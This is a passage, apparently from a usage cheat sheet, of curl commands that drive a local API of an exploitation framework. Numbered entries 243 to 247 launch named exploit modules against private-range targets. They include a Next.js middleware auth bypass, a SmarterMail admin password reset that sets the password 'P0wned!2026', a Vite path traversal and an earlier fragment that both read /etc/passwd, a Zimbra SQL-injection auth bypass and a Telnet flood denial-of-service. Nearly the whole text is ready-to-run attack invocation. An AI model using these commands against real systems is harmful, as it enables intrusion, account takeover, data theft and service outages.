      "file_to_read": "/etc/passwd"
    }
  }' | python3 -m json.tool

# ─── 243. Next.js Middleware Bypass CVE-2025-29927 ────────────────
# Prompts: port, scheme, protected_path, verbose (y/n)
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/webapps/nextjs_middleware_bypass_cve_2025_29927",
    "target": "192.168.1.80",
    "prompts": {
      "port": "3000",
      "scheme": "http",
      "protected_path": "/admin",
      "verbose": "n"
    }
  }' | python3 -m json.tool

# ─── 244. SmarterMail Admin Password Reset CVE-2026-23760 ─────────
# Prompts: port, username, new_password (required)
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/webapps/smartermail/admin_password_reset_cve_2026_23760",
    "target": "192.168.1.90",
    "prompts": {
      "port": "443",
      "username": "admin",
      "new_password": "P0wned!2026"
    }
  }' | python3 -m json.tool

# ─── 245. Vite Path Traversal CVE-2025-30208 ──────────────────────
# Prompts: port (default 5173), custom_file
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/webapps/vite_path_traversal_cve_2025_30208",
    "target": "192.168.1.100",
    "prompts": {
      "port": "5173",
      "custom_file": "/etc/passwd"
    }
  }' | python3 -m json.tool

# ─── 246. Zimbra SQLi Auth Bypass CVE-2025-25064 ──────────────────
# Prompts: port, scheme, email (required)
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/webapps/zimbra_sqli_auth_bypass_cve_2025_25064",
    "target": "192.168.1.110",
    "prompts": {
      "port": "443",
      "scheme": "https",
      "email": "admin@example.com"
    }
  }' | python3 -m json.tool

# ═══════════════════════════════════════════════════════════════
# ADDITIONAL DOS MODULE (247)
# ═══════════════════════════════════════════════════════════════

# ─── 247. Telnet IAC Flood ────────────────────────────────────────
# WARNING: denial-of-service. Floods Telnet servers with malformed
# IAC option negotiations.
# Prompts: port, mode, connections, duration (seconds), verbose,
# confirm (y/n — required interactive confirmation)
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/dos/telnet_iac_flood",
    "target": "192.168.1.200",
    "prompts": {
      "port": "23",
      "mode": "iac-storm",
      "connections": "100",
      "duration": "120",
      "verbose": "n",
      "confirm": "y"
    }
  }' | python3 -m json.tool

# ═══════════════════════════════════════════════════════════════
# PLUGIN MODULES
# ═══════════════════════════════════════════════════════════════

# ─── Sample Plugin ────────────────────────────────────────────────
# Prompts: action (scan/exploit/report)
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "plugins/sample_plugin",
    "target": "192.168.1.1",
    "prompts": { "action": "scan" }
  }' | python3 -m json.tool

# ═══════════════════════════════════════════════════════════════
# UTILITY COMMANDS
# ═══════════════════════════════════════════════════════════════

# Clear target
curl -s -X DELETE http://127.0.0.1:8080/api/target \
  -H 'Authorization: Bearer testkey123' | python3 -m json.tool

# Honeypot check
curl -s -X POST http://127.0.0.1:8080/api/honeypot-check \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{"target": "192.168.1.1"}' | python3 -m json.tool

# Shell command (single)
curl -s -X POST http://127.0.0.1:8080/api/shell \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{"command": "modules"}' | python3 -m json.tool

# Shell commands (chained)
curl -s -X POST http://127.0.0.1:8080/api/shell \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{"commands": ["t 192.168.1.1", "use scanners/port_scanner", "run"]}' \
  | python3 -m json.tool
